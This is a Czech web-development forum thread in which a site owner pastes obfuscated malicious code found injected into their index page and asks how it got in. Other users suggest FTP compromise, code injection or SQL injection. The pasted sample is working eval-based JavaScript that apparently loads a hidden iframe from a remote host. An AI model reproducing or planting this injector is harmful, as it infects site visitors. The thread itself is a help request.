Vir na stránce?

10. 9. 2013 19:44:07

Zdravím,

Máme menší problém s jednou naší stránkou. Do indexu se dnes vložilo tohle:

<?#2d3965#                                                                                                                                                                                                                                                          if(empty($v)) { $v = " <script type="text/javascript" language="javascript"> nqzc="s"+"p"+"l"+"i"+"t";sto=window;sxkwqw=document;malxxo="0"+"x";rywgpj=(5-3-1);try{++(sxkwqw.body)}catch(akktg){hlsu=false;try{}catch(imoo){hlsu=21;}if(1){vpfjti="17:5d:6c:65:5a:6b:60:66:65:17:71:67:66:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:71:67:66:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:71:67:66:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:6d:5c:69:6b:60:5a:58:63:24:5e:58:64:60:65:5e:25:65:63:26:5a:66:6c:65:6b:5c:69:25:67:5f:67:1e:32:4:1:17:71:67:66:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:71:67:66:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:30:1e:32:4:1:17:71:67:66:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:30:67:6f:1e:32:4:1:17:71:67:66:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:30:67:6f:1e:32:4:1:17:71:67:66:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:30:1e:32:4:1:17:71:67:66:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:30:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:71:67:66:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:71:67:66:53:1e:17:5a:63:58:6a:6a:34:53:1e:71:67:66:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:71:67:66:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:71:67:66:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:71:67:66:27:30:1f:20:32:4:1:74:4:1:74"("");}sto=vpfjti;haulqk=[];for(keto=22-20-2;-keto+1386!=0;keto+=1){lfmdw=keto;if((0x19==031))haulqk+=String.fromCharCode(eval(malxxo+sto)+0xa-rywgpj);}zop=eval;zop(haulqk)}</script> "; echo $v; }#/2d3965#?>

Nikdo dnes do administrace nepřistupoval, ani se nelogoval. Jak je možné, že se tam taková věc dostane? případně nějaké doporučení?

Díky mockrát.

Web: www.stillmodels.com ... již vyčištěno

10. 9. 2013 19:44:07

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943296

Macecha

(17 hodnocení)

10. 9. 2013 19:45:42

vir, ftp napadení, ukládání hesel v ftp klientech, napadený počítač toho kdo se přihlašuje k ftp

10. 9. 2013 19:45:42

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943295

Dominik Nguyen

(36 hodnocení)

10. 9. 2013 19:46:09

Domnívám se, že se může jednat o code injection. Zkuste si přečíst článek

10. 9. 2013 19:46:09

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943294

GraphicSite

(20 hodnocení)

10. 9. 2013 19:48:45

Napsal w3Dominik;996739
Domnívám se, že se může jednat o code injection. Zkuste si přečíst článek

Asi máte pravdu, ale kde hledat chybu? Na frontendu?

10. 9. 2013 19:48:45

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943293

Lukenzi

11. 9. 2013 08:54:11

Napsal GraphicSite;996741
Asi máte pravdu, ale kde hledat chybu? Na frontendu?

To si děláte srandu ne? To tady máme hledat chybu v zabezpečení ve vašem CMS? Vždyť je to absolutně neošetřená slátanina...

11. 9. 2013 08:54:11

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943292

SiNTEx

12. 9. 2013 21:24:54

Koukam na tel login form a je to fakt slátanina. Tipuju to na SQL injection.

12. 9. 2013 21:24:54

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943291

tomve

(22 hodnocení)

12. 9. 2013 21:36:20

na mě vyskočilo toto

12. 9. 2013 21:36:20

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943290

SiNTEx

12. 9. 2013 21:49:28

Ano, je to SQL injection.

12. 9. 2013 21:49:28

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943289

tomve

(22 hodnocení)

12. 9. 2013 21:55:27

SiNTEx: podělíš se o název programu?

12. 9. 2013 21:55:27

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/vir-na-strance-2/#reply943288

Pro odpověď se přihlašte.

Přihlásit

Prodej Více

ErotickyNabytek.cz | DomenovyKral.cz – 1300+ prémiových domén k prodeji, pronájmu – od 500 Kč/měs.

77 000 Kč

0 příhozů

eMarketing.cz | DomenovyKral.cz – 1300+ prémiových domén k prodeji, pronájmu – od 500 Kč/měs.

49 000 Kč

0 příhozů

zatmaveno.cz | doména pro tónování autoskel, fólie na okna a stínicí techniku

4 000 Kč

0 příhozů

Elitni.cz | DomenovyKral.cz – 1300+ prémiových domén k prodeji, pronájmu – od 500 Kč/měs.

99 000 Kč

0 příhozů

SpravaDIP.cz

333 000 Kč

0 příhozů

Poptávky Více

6 let budovaný online projekt. Nyní přichází obchodní boom. Hledám investora či partnera.

Obnova virtualizační infrastruktury ICT

Poptávka: Monitoring médií

Nákup softwarových licencí Microsoft

Podpora a rozvoj informačního systému jmenné evidence cestujících

Pracovní nabídky Více

Vedoucí IT (CTO)

Praha

HĽADÁME IDM / IAM ŠPECIALISTU – MidPoint!

Atlassian Consultant (Junior/Medior)

Praha

Marketing + budování e-shopu – Boskovice, Blansko a okolí

Brno

30 000 - 50 000 Kč

Nabídky Více

Noví B2B klienti ještě letos? Oslovím za vás 100 vybraných firem

Virtuální Asisentka – Cela ČR – Jednorázová/Dlouhodobá Spolupráce

Prodej aplikací Google Play

Tvorba webů, aplikací a správa serverů | Coolsoft.cz

Tvorba webů/eshopů – Shoptet, Bootstrap šalony na míru, WordPress